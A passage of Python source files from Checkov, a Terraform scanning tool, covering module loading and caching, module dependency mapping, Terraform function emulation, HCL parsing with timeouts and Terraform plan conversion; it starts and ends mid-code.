env_vars_config.CHECKOV_EXPERIMENTAL_TERRAFORM_MANAGED_MODULES: if source_version == 'latest': if source in self.module_latest: logging.debug(f'Used the cache for module {module_address}') return self.module_content_cache[f'{source}:{self.module_latest[source]}'] reg = f'registry.terraform.io/{source}' if reg in self.module_latest: logging.debug(f'Used the cache for module (from tf registry) {module_address}') return self.module_content_cache[f'{reg}:{self.module_latest[reg]}'] logging.debug(f'Cache miss for {module_address}') if os.name == 'nt': # For windows, due to limitations in the allowed characters for path names, the hash of the source is used. # https://docs.microsoft.com/en-us/windows/win32/fileio/naming-a-file#naming-conventions source_hash = hashlib.md5(source.encode()) # nosec local_dir = os.path.join(self.root_dir, self.external_modules_folder_name, source_hash.hexdigest()) else: local_dir = os.path.join(self.root_dir, self.external_modules_folder_name, source) inner_module = "" next_url = source last_exception = None content = ModuleContent(None) while next_url: source = next_url next_url = "" if source in self.failed_urls_cache: break logging.info(f"Iterating over {len(self.loaders)} loaders") for loader in self.loaders: if not self.download_external_modules and loader.is_external: continue try: module_params = ModuleParams( root_dir=self.root_dir, current_dir=current_dir, source=source, source_version=source_version, dest_dir=local_dir, external_modules_folder_name=self.external_modules_folder_name, inner_module=inner_module, tf_managed=tf_managed, ) logging.info(f"Attempting loading {source} via {loader.__class__} loader") content = loader.load(module_params) logging.info(f"Loading result of {module_address}={content.loaded()} via {loader.__class__} loader") except Exception as e: logging.warning(f'Module {module_address} failed to load via {loader.__class__} due to: {e}') last_exception = e continue if content.next_url: next_url = content.next_url if module_params.inner_module: local_dir = module_params.dest_dir inner_module = module_params.inner_module break if content is None: continue elif not content.loaded(): if content.failed_url: self.failed_urls_cache.add(content.failed_url) self.module_content_cache[module_address] = ModuleContent(None) continue else: v = module_address.rsplit(':', 1) if v[0] not in self.module_latest or self.module_latest[v[0]] < v[1]: self.module_latest[v[0]] = v[1] self.module_content_cache[module_address] = content return content if last_exception is not None: raise last_exception v = module_address.rsplit(':', 1) if v[0] not in self.module_latest or self.module_latest[v[0]] < v[1]: self.module_latest[v[0]] = v[1] self.module_content_cache[module_address] = content return content def register(self, loader: "ModuleLoader") -> None: if loader not in self.loaders: self.loaders.append(loader) def reset_module_content_cache(self) -> None: self.module_content_cache = {} self.module_latest = {} def clear_all_loaders(self) -> None: self.loaders.clear() module_loader_registry = ModuleLoaderRegistry() ================================================ FILE: checkov/terraform/modules/__init__.py ================================================ from checkov.terraform.modules.module_utils import * # noqa from checkov.terraform.modules.module_objects import * # noqa ================================================ FILE: checkov/terraform/modules/module_objects.py ================================================ from __future__ import annotations import json from collections.abc import Iterator from dataclasses import dataclass from typing import Any @dataclass(frozen=True) class TFModule: path: str name: str | None nested_tf_module: TFModule | None = None foreach_idx: int | str | None = None def __lt__(self, other: Any) -> bool: if not isinstance(other, TFModule): return False return (self.path, self.name, self.nested_tf_module, self.foreach_idx) < ( other.path, other.name, other.nested_tf_module, other.foreach_idx) def __repr__(self) -> str: return f'path:{self.path}, name:{self.name}, nested_tf_module:{self.nested_tf_module}, foreach_idx:{self.foreach_idx}' def __iter__(self) -> Iterator[tuple[str, Any]]: yield from { "path": self.path, "name": self.name, "foreach_idx": self.foreach_idx, "nested_tf_module": dict(self.nested_tf_module) if self.nested_tf_module else None }.items() def __str__(self) -> str: from checkov.common.util.json_utils import CustomJSONEncoder return json.dumps(dict(self), cls=CustomJSONEncoder) @staticmethod def from_json(json_dct: dict[str, Any] | None) -> TFModule | None: if not json_dct: return None foreach_idx = json_dct['foreach_idx'] if isinstance(foreach_idx, str) and foreach_idx.isnumeric(): foreach_idx = int(foreach_idx) return TFModule(path=json_dct['path'], name=json_dct['name'], foreach_idx=foreach_idx, nested_tf_module=TFModule.from_json(json_dct.get('nested_tf_module')) if json_dct.get( 'nested_tf_module') else None) @dataclass(frozen=True) class TFDefinitionKey: file_path: str tf_source_modules: TFModule | None = None def __lt__(self, other: Any) -> bool: if not isinstance(other, TFDefinitionKey): return False return (self.file_path, self.tf_source_modules) < (other.file_path, other.tf_source_modules) def __repr__(self) -> str: return f'tf_source_modules:{self.tf_source_modules}, file_path:{self.file_path}' def __iter__(self) -> Iterator[tuple[str, Any]]: yield from { "file_path": self.file_path, "tf_source_modules": dict(self.tf_source_modules) if self.tf_source_modules else None }.items() def __str__(self) -> str: from checkov.common.util.json_utils import CustomJSONEncoder return json.dumps(self.to_json(), cls=CustomJSONEncoder) def to_json(self) -> dict[str, Any]: to_return: dict[str, Any] = {"file_path": self.file_path, "tf_source_modules": None} if self.tf_source_modules: to_return["tf_source_modules"] = dict(self.tf_source_modules) return to_return @staticmethod def from_json(json_dct: dict[str, Any]) -> TFDefinitionKey: return TFDefinitionKey(file_path=json_dct['file_path'], tf_source_modules=TFModule.from_json(json_dct['tf_source_modules'])) ================================================ FILE: checkov/terraform/modules/module_utils.py ================================================ from __future__ import annotations import json import logging import os from collections.abc import Sequence from typing import Any, TYPE_CHECKING, TypeVar, cast, Tuple from lark import Tree import re from checkov.common.typing import TFDefinitionKeyType from checkov.common.util.consts import DEFAULT_EXTERNAL_MODULES_DIR from checkov.common.util.data_structures_utils import pickle_deepcopy from checkov.common.util.json_utils import CustomJSONEncoder, object_hook from checkov.terraform.modules.module_objects import TFDefinitionKey from checkov.terraform.checks.utils.dependency_path_handler import unify_dependency_path from checkov.terraform.graph_builder.utils import remove_module_dependency_in_path from checkov.common.util.parser_utils import TERRAFORM_NESTED_MODULE_PATH_PREFIX, TERRAFORM_NESTED_MODULE_PATH_ENDING if TYPE_CHECKING: from typing_extensions import TypeAlias _Conf = TypeVar("_Conf", bound="dict[Any, Any]") ENTITY_NAME_PATTERN = re.compile(r"[^\W0-9][\w-]*") RESOLVED_MODULE_PATTERN = re.compile(r"\[.+\#.+\]") _Hcl2Payload: TypeAlias = "dict[str, list[dict[str, Any]]]" external_modules_download_path = os.environ.get('EXTERNAL_MODULES_DIR', DEFAULT_EXTERNAL_MODULES_DIR) def is_valid_block(block: Any) -> bool: if not isinstance(block, dict): return True # if the block is empty, there's no need to process it further if not block: return False entity_name = next(iter(block.keys())) if re.fullmatch(ENTITY_NAME_PATTERN, entity_name): return True return False def validate_malformed_definitions(raw_data: _Hcl2Payload) -> _Hcl2Payload: return { block_type: [block for block in blocks if is_valid_block(block)] for block_type, blocks in raw_data.items() } def clean_bad_definitions(tf_definition_list: _Hcl2Payload) -> _Hcl2Payload: return { block_type: [ definition for definition in definition_list if block_type in {"locals", "terraform"} or not isinstance(definition, dict) or len(definition) == 1 ] for block_type, definition_list in tf_definition_list.items() } def safe_index(sequence_hopefully: Sequence[Any], index: int) -> Any: try: return sequence_hopefully[index] except IndexError: logging.debug(f'Failed to parse index int ({index}) out of {sequence_hopefully}', exc_info=True) return None def remove_module_dependency_from_path(path: str) -> str: """ :param path: path that looks like "dir/main.tf[other_dir/x.tf#0] :return: only the outer path: dir/main.tf """ if "#" in path: path = re.sub(RESOLVED_MODULE_PATTERN, '', path) return path def get_module_dependency_map( tf_definitions: dict[str, Any] ) -> tuple[dict[str, list[list[str]]], dict[str, Any], dict[tuple[str, str], list[str]]]: """ :param tf_definitions, with paths in format 'dir/main.tf[module_dir/main.tf#0]' :return module_dependency_map: mapping between directories and the location of its module definition: {'dir': 'module_dir/main.tf'} :return tf_definitions: with paths in format 'dir/main.tf' """ module_dependency_map: dict[str, list[list[str]]] = {} copy_of_tf_definitions = {} dep_index_mapping: dict[tuple[str, str], list[str]] = {} origin_keys = list(filter(lambda k: not k.endswith(TERRAFORM_NESTED_MODULE_PATH_ENDING), tf_definitions.keys())) unevaluated_keys = list(filter(lambda k: k.endswith(TERRAFORM_NESTED_MODULE_PATH_ENDING), tf_definitions.keys())) for file_path in origin_keys: dir_name = os.path.dirname(file_path) module_dependency_map[dir_name] = [[]] copy_of_tf_definitions[file_path] = pickle_deepcopy(tf_definitions[file_path]) next_level, unevaluated_keys = get_next_vertices(origin_keys, unevaluated_keys) while next_level: for file_path in next_level: path, module_dependency, module_dependency_num = remove_module_dependency_in_path(file_path) dir_name = os.path.dirname(path) current_deps = pickle_deepcopy(module_dependency_map[os.path.dirname(module_dependency)]) for dep in current_deps: dep.append(module_dependency) if dir_name not in module_dependency_map: module_dependency_map[dir_name] = current_deps else: for dep in current_deps: if dep not in module_dependency_map[dir_name]: module_dependency_map[dir_name].append(dep) copy_of_tf_definitions[path] = pickle_deepcopy(tf_definitions[file_path]) origin_keys.append(path) dep_index_mapping.setdefault((path, module_dependency), []).append(module_dependency_num) next_level, unevaluated_keys = get_next_vertices(origin_keys, unevaluated_keys) for key, dep_trails in module_dependency_map.items(): hashes = set() deduped = [] for trail in dep_trails: trail_hash = unify_dependency_path(trail) if trail_hash in hashes: continue hashes.add(trail_hash) deduped.append(trail) module_dependency_map[key] = deduped return module_dependency_map, copy_of_tf_definitions, dep_index_mapping def get_next_vertices(evaluated_files: list[str], unevaluated_files: list[str]) -> tuple[list[str], list[str]]: """ This function implements a lazy separation of levels for the evaluated files. It receives the evaluated files, and returns 2 lists: 1. The next level of files - files from the unevaluated_files which have no unresolved dependency (either no dependency or all dependencies were evaluated). 2. unevaluated - files which have yet to be evaluated, and still have pending dependencies Let's say we have this dependency tree: a -> b x -> b y -> c z -> b b -> c c -> d The first run will return [a, y, x, z] as the next level since all of them have no dependencies The second run with the evaluated being [a, y, x, z] will return [b] as the next level. Please mind that [c] has some resolved dependencies (from y), but has unresolved dependencies from [b]. The third run will return [c], and the fourth will return [d]. """ next_level, unevaluated, do_not_eval_yet = [], [], [] for key in unevaluated_files: found = False for eval_key in evaluated_files: if eval_key in key: found = True break if not found: do_not_eval_yet.append(key.split(TERRAFORM_NESTED_MODULE_PATH_PREFIX)[0]) unevaluated.append(key) else: next_level.append(key) move_to_uneval = list(filter(lambda k: k.split(TERRAFORM_NESTED_MODULE_PATH_PREFIX)[0] in do_not_eval_yet, next_level)) for k in move_to_uneval: next_level.remove(k) unevaluated.append(k) return next_level, unevaluated def clean_parser_types(conf: _Conf) -> _Conf: if not conf: return conf sorted_keys = list(conf.keys()) first_key_type = type(sorted_keys[0]) if first_key_type is None: return {} if all(isinstance(x, first_key_type) for x in sorted_keys): sorted_keys.sort() # Create a new dict where the keys are sorted alphabetically sorted_conf = {key: conf[key] for key in sorted_keys} for attribute, values in sorted_conf.items(): if attribute == 'alias': continue if isinstance(values, list): sorted_conf[attribute] = clean_parser_types_lst(values) elif isinstance(values, dict): sorted_conf[attribute] = clean_parser_types(values) elif isinstance(values, str) and values in ('true', 'false'): sorted_conf[attribute] = True if values == 'true' else False elif isinstance(values, set): sorted_conf[attribute] = clean_parser_types_lst(list(values)) elif isinstance(values, Tree): sorted_conf[attribute] = str(values) return sorted_conf # type:ignore[return-value] # still the same type as before def clean_parser_types_lst(values: list[Any]) -> list[Any]: for idx, val in enumerate(values): if isinstance(val, dict): values[idx] = clean_parser_types(val) elif isinstance(val, list): values[idx] = clean_parser_types_lst(val) elif isinstance(val, str): if val == 'true': values[idx] = True elif val == 'false': values[idx] = False elif isinstance(val, set): values[idx] = clean_parser_types_lst(list(val)) str_values_in_lst = [] result_values = [] for val in values: if isinstance(val, str): str_values_in_lst.append(val) else: result_values.append(val) str_values_in_lst.sort() result_values.extend(str_values_in_lst) return result_values def serialize_definitions(tf_definitions: _Conf) -> _Conf: return cast("_Conf", json.loads(json.dumps(tf_definitions, cls=CustomJSONEncoder), object_hook=object_hook)) def get_module_from_full_path(file_path: TFDefinitionKey | None) -> Tuple[TFDefinitionKey | None, None]: if not file_path or not is_nested(file_path): return None, None if file_path.tf_source_modules is None: return None, None return TFDefinitionKey(file_path=file_path.tf_source_modules.path, tf_source_modules=file_path.tf_source_modules.nested_tf_module), None def get_module_name(file_path: TFDefinitionKey) -> str | None: if not file_path.tf_source_modules: return None module_name = file_path.tf_source_modules.name if isinstance(file_path.tf_source_modules.foreach_idx, int) or file_path.tf_source_modules.foreach_idx: foreach_or_count = '"' if isinstance(file_path.tf_source_modules.foreach_idx, str) else '' module_name = f'{module_name}[{foreach_or_count}{file_path.tf_source_modules.foreach_idx}{foreach_or_count}]' return module_name def is_nested(full_path: TFDefinitionKey | None) -> bool: return full_path.tf_source_modules is not None if full_path is not None else False def get_abs_path(file_path: TFDefinitionKeyType) -> str: # file_path might be str for terraform-plan return file_path if isinstance(file_path, str) else str(file_path.file_path) ================================================ FILE: checkov/terraform/parser_functions.py ================================================ from __future__ import annotations import json import logging from collections.abc import Hashable from typing import Dict, List, Union, Any, Callable from checkov.common.util.data_structures_utils import pickle_deepcopy from checkov.common.util.type_forcers import convert_str_to_bool from checkov.common.util.parser_utils import ( eval_string, split_merge_args, string_to_native, to_string, ) # # Functions defined in this file implement terraform functions. # # Inputs: # - First arg (unnamed) - the value string provided to the function # - "var_resolver" - function pointer to resolve variable/local references and such # - "function_name" - name of the function being called (mainly useful for error reporting when a # function isn't defined) # These may be expanded over time, so accepting kwargs (via `**`) is recommended. # # If the value cannot be processed, `FUNCTION_FAILED` should be returned. # FUNCTION_FAILED = "____FUNCTION_FAILED____" def merge(original: str, var_resolver: Callable[[Any], Any], **_: Any) -> dict[Hashable, Any] | str: # https://www.terraform.io/docs/language/functions/merge.html args = split_merge_args(original) if args is None: return FUNCTION_FAILED merged_map = {} for arg in args: if arg.startswith("{"): arg_value = string_to_native(arg) if arg_value is None: return FUNCTION_FAILED else: arg_value = var_resolver(arg) if isinstance(arg_value, dict): merged_map.update(arg_value) else: return FUNCTION_FAILED # don't know what this is, blow out return merged_map def concat(original: str, var_resolver: Callable[[Any], Any], **_: Any) -> list[Any] | str: # https://www.terraform.io/docs/language/functions/concat.html args = split_merge_args(original) if args is None: return FUNCTION_FAILED merged_list = [] for arg in args: if arg.startswith("["): value = eval_string(arg) if value is None: logging.debug("Unable to convert to list: %s", arg) return FUNCTION_FAILED else: value = var_resolver(arg) if isinstance(value, list): merged_list.extend(value) else: return FUNCTION_FAILED # don't know what this is, blow out return merged_list def tobool(original: Union[bool, str], **_: Any) -> Union[bool, str]: # https://www.terraform.io/docs/configuration/functions/tobool.html bool_value = convert_str_to_bool(original) return bool_value if isinstance(bool_value, bool) else FUNCTION_FAILED def tonumber(original: str, **_: Any) -> float | str: # https://www.terraform.io/docs/configuration/functions/tonumber.html if original.startswith('"') and original.endswith('"'): original = original[1:-1] try: if "." in original: return float(original) else: return int(original) except ValueError: return FUNCTION_FAILED def tostring(original: str, **_: Any) -> bool | str: # Indicates a safe string, all good if original.startswith('"') and original.endswith('"'): return original[1:-1] # Otherwise, need to check for valid types (number or bool) bool_value = convert_str_to_bool(original) if isinstance(bool_value, bool): return bool_value else: try: if "." in original: return str(float(original)) else: return str(int(original)) except ValueError: return FUNCTION_FAILED # no change def tolist(original: str, **_: Any) -> list[Any] | str: # https://www.terraform.io/docs/configuration/functions/tolist.html altered_value = eval_string(original) if altered_value is None: return FUNCTION_FAILED return altered_value if isinstance(altered_value, list) else list(altered_value) def toset(original: str, **_: Any) -> set[Any] | str: # https://www.terraform.io/docs/configuration/functions/toset.html altered_value = eval_string(original) if altered_value is None: return FUNCTION_FAILED return altered_value if isinstance(altered_value, set) else set(altered_value) def tomap(original: str, **_: Any) -> dict[Hashable, Any] | str: # https://www.terraform.io/docs/language/functions/tomap.html original = original.replace(":", "=") # converted to colons by parser #shrug altered_value = eval_string(original) if altered_value is None or not isinstance(altered_value, dict): return FUNCTION_FAILED return _check_map_type_consistency(altered_value) def map(original: str, **_: Any) -> dict[Hashable, Any] | str: # https://www.terraform.io/docs/language/functions/map.html # NOTE: Splitting by commas is annoying due to possible commas in strings. To avoid # the issue, act like it's a list (to allow comma separation) and let the HCL # parser deal with it. Then iterating the list is easy. converted_to_list = eval_string(f"[{original}]") if converted_to_list is None or len(converted_to_list) & 1: # none or odd number of args return FUNCTION_FAILED return create_map(converted_to_list) def create_map(lst: list[Any]) -> dict[Hashable, Any]: new_map = {} for i in range(0, len(lst), 2): new_map[lst[i]] = lst[i + 1] return _check_map_type_consistency(new_map) def _check_map_type_consistency(value: dict[Hashable, Any]) -> dict[Hashable, Any]: # If there is a string and anything else, convert to string had_string = False had_something_else = False for k, v in value.items(): if v == "${True}": value[k] = True v = True elif v == "${False}": value[k] = False v = False if isinstance(v, str): had_string = True if had_something_else: break else: had_something_else = True if had_string: break if had_string and had_something_else: value = {k: to_string(v) for k, v in value.items()} return value def handle_dynamic_values(conf: Dict[str, List[Any]], has_dynamic_block: bool = False) -> bool: # recursively search for blocks that are dynamic for block_name in conf.keys(): conf_block = conf[block_name] if isinstance(conf_block, dict): has_dynamic_block = handle_dynamic_values(conf_block, has_dynamic_block) # if the configuration is a block element, search down again. if conf_block and isinstance(conf_block, list) and isinstance(conf_block[0], dict): has_dynamic_block = handle_dynamic_values(conf_block[0], has_dynamic_block) # if a dynamic block exists somewhere in the resource it will return True return process_dynamic_values(conf) or has_dynamic_block def process_dynamic_values(conf: Dict[str, List[Any]]) -> bool: dynamic_conf: Union[List[Any], Dict[str, List[Any]]] = conf.get("dynamic", {}) if not isinstance(dynamic_conf, list): return False has_dynamic_block = False for dynamic_element in dynamic_conf: if isinstance(dynamic_element, str): try: dynamic_element = json.loads(dynamic_element) except Exception: dynamic_element = {} for element_name, element_value in dynamic_element.items(): if "content" in element_value: if element_name in conf: if not isinstance(conf[element_name], list): conf[element_name] = [conf[element_name]] if isinstance(element_value["content"], list): conf[element_name].extend(element_value["content"]) else: conf[element_name].append(element_value["content"]) else: conf[element_name] = pickle_deepcopy(element_value["content"]) else: # this should be the result of a successful dynamic block rendering # in some cases a whole dict is added, which doesn't have a list around it conf[element_name] = element_value if isinstance(element_value, list) else [element_value] has_dynamic_block = True return has_dynamic_block ================================================ FILE: checkov/terraform/parser_utils.py ================================================ from __future__ import annotations import json import logging import os import platform import threading from pathlib import Path from typing import Any, cast, Optional, TextIO, Type import hcl2 from checkov.common.util.env_vars_config import env_vars_config from checkov.common.util.stopit import ThreadingTimeout, SignalTimeout from checkov.common.util.stopit.utils import BaseTimeout from checkov.terraform import validate_malformed_definitions, clean_bad_definitions from checkov.terraform.modules.module_utils import _Hcl2Payload def load_or_die_quietly( file: str | Path | os.DirEntry[str], parsing_errors: dict[str, Exception], clean_definitions: bool = True ) -> Optional[_Hcl2Payload]: """ Load JSON or HCL, depending on filename. :return: None if the file can't be loaded """ file_path = os.fspath(file) file_name = os.path.basename(file_path) if file_name.endswith(".tfvars"): clean_definitions = False try: logging.debug(f"Parsing {file_path}") with open(file_path, "r", encoding="utf-8-sig") as f: if file_name.endswith(".json"): return cast("_Hcl2Payload", json.load(f)) else: raw_data = __parse_with_timeout(f) non_malformed_definitions = validate_malformed_definitions(raw_data) if clean_definitions: return clean_bad_definitions(non_malformed_definitions) else: return non_malformed_definitions except Exception as e: logging.debug(f"failed while parsing file {file_path}", exc_info=True) parsing_errors[file_path] = e return None # if we are not running in a thread, run the hcl2.load function with a timeout, to prevent from getting stuck in parsing. def __parse_with_timeout(f: TextIO) -> dict[str, list[dict[str, Any]]]: # setting up timeout class timeout_class: Optional[Type[BaseTimeout]] = None if platform.system() == "Windows": timeout_class = ThreadingTimeout elif threading.current_thread() is threading.main_thread(): timeout_class = SignalTimeout # if we're not running on the main thread, don't use timeout parsing_timeout = env_vars_config.HCL_PARSE_TIMEOUT_SEC or 0 if not timeout_class or not parsing_timeout: return hcl2.load(f) with timeout_class(parsing_timeout) as to_ctx_mgr: raw_data = hcl2.load(f) if to_ctx_mgr.state == to_ctx_mgr.TIMED_OUT: logging.debug(f"reached timeout when parsing file {f} using hcl2") raise Exception(f"file took more than {parsing_timeout} seconds to parse") return raw_data ================================================ FILE: checkov/terraform/plan_parser.py ================================================ from __future__ import annotations import itertools import json import logging import os import re from typing import Any, Dict, List, Optional, Tuple, cast from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.parsers.node import ListNode from checkov.common.util.consts import LINE_FIELD_NAMES, TRUE_AFTER_UNKNOWN, START_LINE, END_LINE from checkov.common.util.type_forcers import force_list from checkov.terraform.context_parsers.tf_plan import parse from hcl2 import START_LINE as start_line, END_LINE as end_line SIMPLE_TYPES = (str, int, float, bool) TF_PLAN_RESOURCE_ADDRESS = CustomAttributes.TF_RESOURCE_ADDRESS TF_PLAN_RESOURCE_CHANGE_ACTIONS = "__change_actions__" TF_PLAN_RESOURCE_CHANGE_KEYS = "__change_keys__" TF_PLAN_RESOURCE_PROVISIONERS = "provisioners" TF_PLAN_RESOURCE_AFTER_UNKNOWN = 'after_unknown' COUNT_PATTERN = re.compile(r"\[?\d+\]?$") RESOURCE_TYPES_JSONIFY = { "aws_batch_job_definition": "container_properties", "aws_ecs_task_definition": "container_definitions", "aws_iam_policy": "policy", "aws_iam_role": "assume_role_policy", "aws_iam_role_policy": "policy", "aws_iam_group_policy": "policy", "aws_iam_user_policy": "policy", "aws_ssoadmin_permission_set_inline_policy": "inline_policy", "azurerm_portal_dashboard": "dashboard_properties", "aws_vpc_endpoint": "policy", "aws_vpc_endpoint_policy": "policy", "aws_ecr_registry_policy": "policy", "aws_acmpca_policy": "policy", "aws_api_gateway_rest_api_policy": "policy", "aws_backup_vault_policy": "policy", "aws_cloudwatch_log_destination_policy": "access_policy", "aws_cloudwatch_log_resource_policy": "policy_document", "aws_oam_sink_policy": "policy", "aws_codebuild_resource_policy": "policy", "aws_dynamodb_resource_policy": "policy", "aws_ecr_repository_policy": "policy", "aws_ecrpublic_repository_policy": "policy", "aws_efs_file_system_policy": "policy", "aws_elasticsearch_domain_policy": "access_policies", "aws_media_store_container_policy": "policy", "aws_cloudwatch_event_bus_policy": "policy", "aws_schemas_registry_policy": "policy", "aws_glue_resource_policy": "policy", "aws_iot_policy": "policy", "aws_kms_key": "policy", "aws_kinesis_resource_policy": "policy", "aws_msk_cluster_policy": "policy", "aws_networkfirewall_resource_policy": "policy", "aws_opensearch_domain_policy": "access_policies", "aws_opensearchserverless_access_policy": "policy", "aws_redshift_resource_policy": "policy", "aws_redshiftserverless_resource_policy": "policy", "aws_s3_bucket_policy": "policy", "aws_s3control_access_point_policy": "policy", "aws_s3control_bucket_policy": "policy", "aws_ses_identity_policy": "policy", "aws_sesv2_email_identity_policy": "policy", "aws_sns_topic_data_protection_policy": "policy", "aws_sns_topic_policy": "policy", "aws_sqs_queue_policy": "policy", "aws_secretsmanager_secret_policy": "policy", "aws_vpclattice_auth_policy": "policy", "aws_vpclattice_resource_policy": "policy", "google_project_iam_policy": "policy_data" } def _is_simple_type(obj: Any) -> bool: if obj is None: return True if isinstance(obj, SIMPLE_TYPES): return True return False def _is_list_of_simple_types(obj: Any) -> bool: if not isinstance(obj, list): return False for i in obj: if not _is_simple_type(i): return False return True def _is_list_of_dicts(obj: Any) -> bool: if not isinstance(obj, list): return False for i in obj: if isinstance(i, dict): return True return False def _hclify( obj: dict[str, Any], conf: dict[str, Any] | None = None, parent_key: str | None = None, resource_type: str | None = None, ) -> dict[str, list[Any]]: ret_dict = {} if not isinstance(obj, dict): raise Exception("this method receives only dicts") if hasattr(obj, "start_mark") and hasattr(obj, "end_mark"): obj["start_line"] = obj.start_mark.line obj["end_line"] = obj.end_mark.line for key, value in obj.items(): if _is_simple_type(value) or _is_list_of_simple_types(value): if parent_key == "tags": ret_dict[key] = value else: # only wrap non-lists into a list ret_dict[key] = _clean_simple_type_list([value]) if _is_list_of_dicts(value): child_list = [] conf_val = conf.get(key, []) if conf else [] if not isinstance(conf_val, list): # this occurs, when a resource in the current state has no value for that argument conf_val = [conf_val] for internal_val, internal_conf_val in itertools.zip_longest(value, conf_val): if isinstance(internal_val, dict): child_list.append(_hclify(internal_val, internal_conf_val, parent_key=key)) if key == "tags": ret_dict[key] = [child_list] else: ret_dict[key] = child_list if isinstance(value, dict): child_dict = _hclify(value, parent_key=key) if parent_key == "tags": ret_dict[key] = child_dict else: ret_dict[key] = [child_dict] if conf and isinstance(conf, dict): _add_references(obj=obj, conf=conf, return_resource=ret_dict) if resource_type and resource_type in RESOURCE_TYPES_JSONIFY: # values shouldn't be encapsulated in lists dict_value = jsonify(obj=obj, resource_type=resource_type) if dict_value is not None: ret_dict[RESOURCE_TYPES_JSONIFY[resource_type]] = force_list(dict_value) return ret_dict def jsonify(obj: dict[str, Any], resource_type: str) -> dict[str, Any] | None: """Tries to create a dict from a string of a supported resource type attribute""" jsonify_key = RESOURCE_TYPES_JSONIFY[resource_type] if jsonify_key in obj: try: return cast("dict[str, Any]", json.loads(obj[jsonify_key])) except json.JSONDecodeError: logging.debug( f"Attribute {jsonify_key} of resource type {resource_type} is not json encoded {obj[jsonify_key]}" ) return None def _prepare_resource_block( resource: dict[str, Any], conf: dict[str, Any] | None, resource_changes: dict[str, dict[str, Any]] ) -> tuple[dict[str, dict[str, Any]], str, bool]: """hclify resource if pre-conditions met. :param resource: tf planned_values resource block :param conf: tf configuration resource block :param resource_changes: tf resource_changes block :returns: - resource_block: a list of strings representing the header columns - prepared: whether conditions met to prepare data """ resource_block: Dict[str, Dict[str, Any]] = {} resource_type = resource["type"] resource_block[resource_type] = {} prepared = False mode = "" block_type = "" if "mode" in resource: mode = resource["mode"] block_type = "data" if mode == "data" else "resource" # Rare cases where data block appears in resources with same name as resource block and only partial values # and where *_module resources don't have values field if mode in ("managed", "data"): expressions = conf.get("expressions") if conf else None resource_conf = _hclify( obj=resource.get("values", {"start_line": 0, "end_line": 0}), conf=expressions, resource_type=resource_type, ) resource_address: str | None = resource.get("address") resource_conf[TF_PLAN_RESOURCE_ADDRESS] = resource_address # type:ignore[assignment] # special field changes = resource_changes.get(resource_address) # type:ignore[arg-type] # because it can be None if changes: resource_conf[TF_PLAN_RESOURCE_CHANGE_ACTIONS] = changes.get("change", {}).get("actions") or [] resource_conf[TF_PLAN_RESOURCE_CHANGE_KEYS] = changes.get(TF_PLAN_RESOURCE_CHANGE_KEYS) or [] # enrich conf with after_unknown values _eval_after_unknown(changes, resource_conf) provisioners = conf.get(TF_PLAN_RESOURCE_PROVISIONERS) if conf else None if provisioners: resource_conf["provisioner"] = _get_provisioner(provisioners) resource_block[resource_type][resource.get("name", "default")] = resource_conf prepared = True return resource_block, block_type, prepared def _eval_after_unknown(changes: dict[str, Any], resource_conf: dict[str, Any]) -> None: after_unknown = changes.get("change", {}).get(TF_PLAN_RESOURCE_AFTER_UNKNOWN) if os.getenv('EVAL_TF_PLAN_AFTER_UNKNOWN') and after_unknown and isinstance(after_unknown, dict): for k, v in after_unknown.items(): # We check if the value of the field is True. That would mean its value is known after the apply # We also check whether the field is not already present in the conf since we do not want to # override it. Overriding can actually cause losing its value if v is True and k not in resource_conf: # We set the value to 'true_after_unknown' and not its original value # We need to set a constant other than a boolean (True/"true"), # so it will not collide with actual possible values of those attributes # In these cases, policies checking the existence of a value will succeed, # but policies checking for concrete values will fail resource_conf[k] = _clean_simple_type_list([TRUE_AFTER_UNKNOWN]) elif isinstance(v, list) and len(v) == 1 and isinstance(v[0], dict): _handle_complex_after_unknown(k, resource_conf, v) def _handle_complex_after_unknown(k: str, resource_conf: dict[str, Any], v: Any) -> None: """ Handles a case of an inner key generated with "after_unknown" value. Example: ` after_unknown: { "logging_config": [ { "bucket": true } ], } ` """ inner_keys = list(v[0].keys()) for inner_key in inner_keys: if inner_key in (START_LINE, END_LINE): # skip inner checkov keys continue resource_conf_value = resource_conf[k] if inner_key not in resource_conf_value and isinstance(resource_conf_value, list): for i in range(len(resource_conf_value)): if isinstance(resource_conf_value[i], dict): _update_after_unknown_in_complex_types(inner_key, resource_conf_value[i]) elif isinstance(resource_conf_value[i], list) and isinstance(resource_conf_value[i][0], dict): _update_after_unknown_in_complex_types(inner_key, resource_conf_value[i][0]) def _update_after_unknown_in_complex_types(inner_key: str, value: dict[str, Any]) -> None: """ Based on terraform docs, in complex types like list/dict some values might be known while others are not. So when trying to update the info shared from the `after_unknown`, we only want to update the specific items in those objects which are unknown. For example, in the conf: ``` "after": { "outer": [ {"tag1": 1} ] }, "after_unknown": { "outer": [ {}, -> the value is known from the "after" section, we don't want to touch it true -> the value is unknown, we want to replace it with `TRUE_AFTER_UNKNOWN` ] }. Full result for resource conf: ``` "outer": [{"tag1": 1}, `TRUE_AFTER_UNKNOWN`] ``` ``` """ if inner_key not in value: value[inner_key] = _clean_simple_type_list([TRUE_AFTER_UNKNOWN]) return inner_value = value[inner_key] if isinstance(inner_value, str) and inner_value.lower() == "true": value[inner_key] = _clean_simple_type_list([TRUE_AFTER_UNKNOWN]) if isinstance(inner_value, list): for i, v in enumerate(inner_value): if isinstance(v, str) and v.lower() == "true": inner_value[i] = _clean_simple_type_list([TRUE_AFTER_UNKNOWN]) if isinstance(v, dict): _handle_after_unknown_dict(v) if isinstance(inner_value, dict): for k, v in inner_value.items(): if isinstance(v, str) and v.lower() == "true": inner_value[k] = _clean_simple_type_list([TRUE_AFTER_UNKNOWN]) if isinstance(v, dict): _handle_after_unknown_dict(v) return def _handle_after_unknown_dict(v: dict[str, Any]) -> None: for k in v.keys(): _update_after_unknown_in_complex_types(k, v) def _find_child_modules( child_modules: ListNode, resource_changes: dict[str, dict[str, Any]], root_module_conf: dict[str, Any] ) -> dict[str, list[dict[str, dict[str, Any]]]]: """ Find all child modules if any. Including any amount of nested child modules. :param child_modules: list of terraform child_module objects :param resource_changes: a resource address to resource changes dict :param root_module_conf: configuration block of the root module :returns: list of terraform resource blocks """ blocks: dict[str, list[dict[str, dict[str, Any]]]] = {"resource": [], "data": []} for child_module in child_modules: nested_child_modules = child_module.get("child_modules", []) if nested_child_modules: nested_blocks = _find_child_modules( child_modules=nested_child_modules, resource_changes=resource_changes, root_module_conf=root_module_conf, ) for block_type, resource_blocks in nested_blocks.items(): blocks[block_type].extend(resource_blocks) module_address = child_module.get("address", "") module_call_resources = 